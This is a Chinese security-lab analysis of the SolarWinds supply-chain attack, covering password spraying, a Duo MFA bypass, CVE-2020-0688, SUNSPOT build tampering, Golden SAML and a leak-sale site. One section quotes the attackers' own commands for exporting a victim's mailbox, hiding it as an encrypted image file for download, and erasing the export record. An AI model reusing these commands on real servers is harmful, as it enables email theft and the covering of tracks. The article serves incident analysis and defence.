作者：深信服千里目安全實驗室
原文鏈接：https://mp.weixin.qq.com/s/CR6Iy3nTejR9Tfm4QCJxNw

主要內容

本文總結了SolarWinds供應鏈攻擊的進展情況，主要包括新發現的技術點解讀和攻擊相關的最新動態。

更加詳盡的攻擊鏈細節

獲取初始權限階段

事件進展

1月7號，美國網絡安全與基礎設施安全局（CISA）更新了其對SolarWinds供應鏈攻擊事件的調查報告《Advanced Persistent Threat Compromise of Government Agencies, Critical Infrastructure, and Private Sector Organizations》。報告指出，攻擊者在對SolarWinds植入SUNBURST后門之前，使用了密碼猜測和密碼噴灑技術攻陷了其云基礎設施。

Volexity 公司透漏了SolarWinds公司Outlook Web App (OWA)郵件系統的多因素認證（MFA）被繞過、Exchange服務器被漏洞（CVE-2020-0688）攻陷、特定郵件被竊取的技術細節。因為具有相同的TTP，所以認為與此次供應鏈攻擊是同一組織所為。

技術點分析

密碼猜測與密碼噴灑

密碼猜測（password guessing）是一種常見的攻擊方式，就是對一個賬戶的用戶名不斷地嘗試不同的密碼，直到猜測成功。攻擊者通常會選擇系統默認密碼、常用弱口令、或者根據目標相關信息生成的密碼字典進行密碼爆破攻擊。密碼噴灑（password spraying）又稱反向密碼猜測，他的攻擊方式和傳統的密碼猜測正好相反，密碼噴灑是使用同一個密碼去猜測不同的用戶名，看看是哪個用戶使用了這個密碼。密碼猜測是用戶名固定，優先遍歷密碼；密碼噴灑是密碼固定，優先爆破用戶名。密碼噴灑對使用密碼錯誤鎖定用戶機制的系統更加有效。

下面對OWA進行攻擊的測試截圖說明密碼猜測與密碼噴灑的區別。可以看到密碼噴灑不會造成用戶鎖定，因此沒有使用設定的時間間隔，爆破速度很快；而密碼猜測，在猜測一次密碼之后就要等待一個時間間隔（這里設置為一分鐘），避免造成賬戶被鎖定。

image-20210114164312378

密碼猜測

image-20210114164434650

密碼噴灑

OWA Duo MFA繞過

Volexity的調查給出了攻擊者繞過Duo MFA保護的OWA服務器的一些技術細節。

從Exchange 服務器的日志來看，攻擊者使用了用戶名和密碼進行登錄，但是沒有輸入Duo的第二認證因子。從Duo服務器的日志來看，也沒有發起需要使用Duo進行二次認證的請求。Volexity 公司通過OWA服務器導出的內存，可以確定用戶的會話并沒被劫持，但是攻擊者直接使用了合法的Duo MFA的Cookie參數duo-sid。

這是怎么做到的呢？

首先，攻擊者在OWA服務器中獲得了Duo集成身份認證的秘鑰（akey）。然后，攻擊者利用這個秘鑰構造了一個計算好的Cookie參數duo-sid。最后，攻擊者使用用戶名和密碼進行登錄，使用duo-sid來認證Duo MFA的檢查，從而實現了最終的成功登錄。

攻擊者利用的就是MFA本身的機制，并不是一個漏洞，所以沒有觸發任何安全防護機制。

CVE-2020-0688

Microsoft Exchange Control Panel (ECP) Vulnerability CVE-2020-0688，是2020年Exchange 服務器比較嚴重的一個漏洞，攻擊者只要擁有一個用戶權限，就可以完全控制Exchange服務器，利用容易、危害嚴重。下圖是本地測試的結果。

image-20210114173123916

關于漏洞更多的細節，可以參考文末ZDI的漏洞鏈接。

OWA郵件竊取

Volexity指出，攻擊者在控制了Exchange服務器后，又做了很多操作，直到拖走指定用戶的郵件。絕大多數操作都是通過PowerShell進行的，下面總結幾個比較關鍵的操作。

# 獲取Exchange 服務器用戶名和角色
C:\Windows\system32\cmd.exe /C powershell.exe -PSConsoleFile exshell.psc1 -Command “Get-ManagementRoleAssignment -GetEffectiveUsers | select Name,Role,EffectiveUserName,AssignmentMethod,IsValid | ConvertTo-Csv -NoTypeInformation | % {$_ -replace ‘`n’,’_’} | Out-File C:\temp\1.xml”

# 查詢組織管理成員，sqlceip.exe其實是ADFind.exe
C:\Windows\system32\cmd.exe /C sqlceip.exe -default -f (name=”Organization Management”) member -list | sqlceip.exe -f objectcategory=* > .\SettingSync\log2.txt

# 竊取指定用戶郵件
C:\Windows\system32\cmd.exe /C powershell.exe -PSConsoleFile exshell.psc1 -Command “New-MailboxExportRequest -Mailbox foobar@organization.here -ContentFilter {(Received -ge ’03/01/2020′)} -FilePath ‘\\<MAILSERVER>\c$\temp\b.pst'”

# 打包成一個加密壓縮包
C:\Windows\system32\cmd.exe /C .\7z.exe a -mx9 -r0 -p[33_char_password]  “C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Redir.png” C:\Temp\b.pst???

# 下載壓縮包
https://owa.organization.here/owa/auth/Redir.png

# 清除痕跡
C:\Windows\system32\cmd.exe /C powershell.exe -PSConsoleFile exshell.psc1 -Command “Get-MailboxExportRequest -Mailbox user@organization.here | Remove-MailboxExportRequest -Confirm:$False”

后門植入階段

關于SUNSPOT

事件跟進

FireEye發現的SUNBURST后門的各類行為已經被分析的很清楚了，但是SUNBURST后門是如何被植入的一直是個不解之謎。近日，CrowdStrike和另一個公司，在調查SolarWinds供應鏈攻擊時， 又有了新發現。他們發現了另一個惡意軟件，并命名為SUNSPOT 。該惡意軟件的功能就是修改SolarWinds的Orion產品的構建過程，將正常的代碼替換成SUNBURST后門的代碼，從而感染了Orion產品，形成了最終的供應鏈攻擊。

關于SUNSPOT的主要特點可以總結為以下幾點：

  1. SUNSPOT的目的就是在SolarWinds Orion IT管理產品中，植入SUNBURST后門。
  2. SUNSPOT實時監控Orion產品的編譯程序，在編譯Orion產品的過程中會將其中的一個源代碼文件替換為SUNBURST后門的代碼，致使編譯出來的產品都帶有后門。
  3. SUNSPOT具有一些保護機制， 避免由于代碼替換引起的編譯錯誤，所以不會被開發人員察覺。

關于SUNBURST后門，我們已經知道是由SUNSPOT這款惡意軟件植入的，但是SUNSPOT又是怎么植入的呢，這還需要相關調查小組繼續深入跟蹤。

技術點分析

根據CrowdStrike的披露，SUNSPOT使用的技術點可以總結為以下的流程：

初始化和記錄日志階段

  1. SUNSPOT在磁盤上的文件名為taskhostsvc.exe，被開發人員內部命名為taskhostw.exe。SUNSPOT被加入計劃任務，保證其開機自啟動，從而實現權限維持。

  2. SUNSPOT執行時，首先會創建名為 {12d61a41-4b74-7610-a4d8-3028d2f56395}的互斥體，保證其只有一個運行實例。創建一個加密的日志，路徑為C:\Windows\Temp\vmware-vmdmp.log，偽裝成vmware的日志文件。

  3. 日志使用硬編碼秘鑰FC F3 2A 83 E5 F6 D0 24 A6 BF CE 88 30 C2 48 E7結合RC4算法進行加密，一個解密后日志樣例格式如下：

   0.000 START
   22.781[3148] + 'msbuild.exe' [6252] 181.421[3148] - 0
   194.343[3148] -
   194.343[13760] + 'msbuild.exe' [6252] 322.812[13760] - 0
   324.250[13760] -
   324.250[14696] + 'msbuild.exe' [6252] 351.125[14696] - 0
   352.031[14176] + 'msbuild.exe' [6252] 369.203[14696] -
   375.093[14176] - 0
   376.343[14176] -
   376.343[11864] + 'msbuild.exe' [6252] 426.500[11864] - 0
   439.953[11864] -
   439.953[9204] + 'msbuild.exe' [6252] 485.343[9204] Solution directory: C:\Users\User\Source
   485.343[ERROR] Step4('C:\Users\User\Source\Src\Lib\SolarWinds.Orion.Core.BusinessLayer\BackgroundInventory\InventoryManager.cs') fails
  1. SUNSPOT之后會獲取SeDebugPrivilege特權，方便后續讀取其他進程內存。

劫持軟件構建階段

  1. 類似SUNBURST后門，SUNSPOT使用自定義的哈希算法處理字符串，尋找MsBuild.exe進程。
  2. SUNSPOT通過NtQueryInformationProcess方法去查詢MsBuild.exe進程的PEB，通過_RTL_USER_PROCESS_PARAMETERS結構體來獲取其參數，通過解析出來的參數確定是否是Orion產品的構建過程。如果是的話么就進行下一步的源代碼替換。
  3. SUNSPOT在MsBuild.exe進程中找到Orion產品解決方案的工程文件路徑，僅把其中InventoryManager.cs文件內容替換為SUNUBURST后門的代碼。
  4. SUNSPOT為防止自己的SUNBURST后門代碼被修改而導致編譯錯誤，還會對其進行MD5校驗，MD5值為5f40b59ee2a9ac94ddb6ab9e3bd776ca。
  5. SUNSPOT將正常的代碼文件保存為InventoryManager.bk，將SUNBUIRST后門代碼命名為InventoryManager.tmp，并替換原始的InventoryManager.cs文件。一旦包含后門的Orion產品構建完成，再將InventoryManager.bk恢復到正常的InventoryManager.cs文件中。
  6. 為了防止代碼兼容性導致的代碼編譯告警信息，攻擊者在修改的代碼中加入#pragma warning disable和#pragma warning聲明，避免發生告警信息，引起開發人員的注意。
  7. 在整個過程中，SUNSPOT會檢查另一個互斥體{56331e4d-76a3-0390-a7ee-567adf5836b7}，如果存在程序會主動退出，避免對構建過程造成影響。

關于SUNBURST

事件跟進

Securonix Threat Research的最新調研從另一個方面說明了為什么SolarWinds Orion產品中的后門很長時間沒有被發現的原因。

在SolarWinds的公告中，建議用戶進行以下操作。

image-20210112164541208

SUNBURST后門是被SolarWinds文件夾下的Orion文件夾下的SolarWinds.BusinessLayerHost.exe進程加載并執行，但因為SolarWinds Orion產品本身就是監控類軟件，為了自身更好地運行，官方建議加入AV/EDR的白名單中。攻擊者正是利用這一點來大大降低被安全軟件檢測出來的可能性，再加上SUNBURST后門運行時對運行環境的嚴格檢查，只靠AV/EDR的查殺幾乎沒有可能檢測出來。

Securonix Threat Research給出的一個建議叫”Watch the Watcher“很有深意，SolarWinds Orion產品本身是監控類軟件，是個watcher，我們很應該監控（Watch）它的行為，否則一旦發生類似本次的攻擊事件--來自信任軟件的“叛變”，造成的危害可能會被放大很多倍。

技術點分析

關于SUNBURST后門的具體行為，可以查看之前的分析文章《紅隊視角看Sunburst后門中的TTPs》。

權限提升與權限維持階段

事件跟進

在權限提升與權限維持階段，CISA發現攻擊添加了額外的認證憑據（authentication credentials）,包括Azure和Microsoft 365 (M365) 的令牌和證書。認證令牌應該是在AD FS環境下濫用Security Assertion Markup Language (SAML)生成的。微軟在其Azure檢測工具Azure-Sentinel中添加了相應的檢測腳本，詳情見文末參考鏈接。

技術點分析

Golden SAML

攻擊者使用的技術通常被稱為Golden SAML。

一個正常的SAML認證過程如下圖：

圖來自Sygnia

  1. 用戶訪問特定服務，比如AWS, Office 365。
  2. 服務重定向到ADFS進行認證。
  3. 用戶使用域策略認證。
  4. ADFS向用戶返回簽名的SAML令牌。
  5. 用戶使用簽名的SAML令牌去訪問特定服務。

Golden SAML的攻擊流程如下：

圖來自Sygnia

  1. 攻擊者訪問ADFS 服務器，并導出其中私鑰和證書。

  2. 攻擊者訪問特定服務，比如AWS, Office 365。

  3. 服務重定向到ADFS進行認證。

  4. 攻擊者直接通過獲取的私鑰生成簽名的SAML令牌，省去ADFS的認證過程。

  5. 攻擊者使用簽名的SAML令牌去訪問特定服務。

針對AD FS的Golden SAML攻擊和針對AD DS的Golden Ticket攻擊流程和目的都很類似，目的就是構造高權限的憑據，繞過一些訪問限制，達到權限維持的目的。

solarleaks公開售賣數據

1月13日，自稱SolarWinds供應鏈攻擊的組織，注冊了個網站公開售賣他們獲取到的數據。其中包括微軟的部分源代碼、SolarWinds產品源代碼、Cisco產品源代碼和FireEye紅隊工具。

網址：http://solarleaks.net/

image-20210114203330465

從網站的更新來看，還是有很多人在嘗試購買這些數據，攻擊者表示想要看樣例文件確定數據的真假，需要先支付100 XMR。如下圖。

image-20210114203402802

查看solarleaks.net的DNS數據，可以發現域名解析由NJALLA注冊，這也是俄羅斯黑客組織Fancy Bear和Cozy Bear之前使用的注冊商。其中SQA記錄更是表明讓人無處可查之意You Can Get No Info。

image-20210115150558773

攻擊者在網站中聲稱，關于他們是如何獲取到這些數據的線索跟25b23446e6c29a8a1a0aac37fc3b65543fae4a7a385ac88dc3a5a3b1f42e6a9e這個hash值有關，但是目前還沒有任何公開文件和這個hash值有關。

如果這些數據是真的，并被其他APT組織或黑產組織所利用，那么此次供應鏈攻擊的影響可能會延續到下一個攻擊事件中。

參考鏈接

1.Advanced Persistent Threat Compromise of Government Agencies, Critical Infrastructure, and Private Sector Organizations
https://us-cert.cisa.gov/ncas/alerts/aa20-352a

2.Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments
https://us-cert.cisa.gov/ncas/alerts/aa21-008a

3.A Golden SAML Journey: SolarWinds Continued
https://www.splunk.com/en_us/blog/security/a-golden-saml-journey-solarwinds-continued.html

4.Detection and Hunting of Golden SAML Attack
https://www.sygnia.co/golden-saml-advisory

5.Dark Halo Leverages SolarWinds Compromise to Breach Organizations
https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/

6.Securonix Threat Research: Detecting SolarWinds/SUNBURST/ECLIPSER Supply Chain Attacks
https://www.securonix.com/detecting-solarwinds-sunburst-eclipser-supply-chain-attacks/

7.SUNSPOT: An Implant in the Build Process
https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/

8.SprayingToolkit
https://github.com/byt3bl33d3r/SprayingToolkit

9.CVE-2020-0688
https://github.com/zcgonvh/CVE-2020-0688

10.ADFSDomainTrustMods
https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml

11.CVE-2020-0688: REMOTE CODE EXECUTION ON MICROSOFT EXCHANGE SERVER THROUGH FIXED CRYPTOGRAPHIC KEYS
https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys·

Paper 本文由 Seebug Paper 發布，如需轉載請注明來源。本文地址：http://www.bjnorthway.com/1459/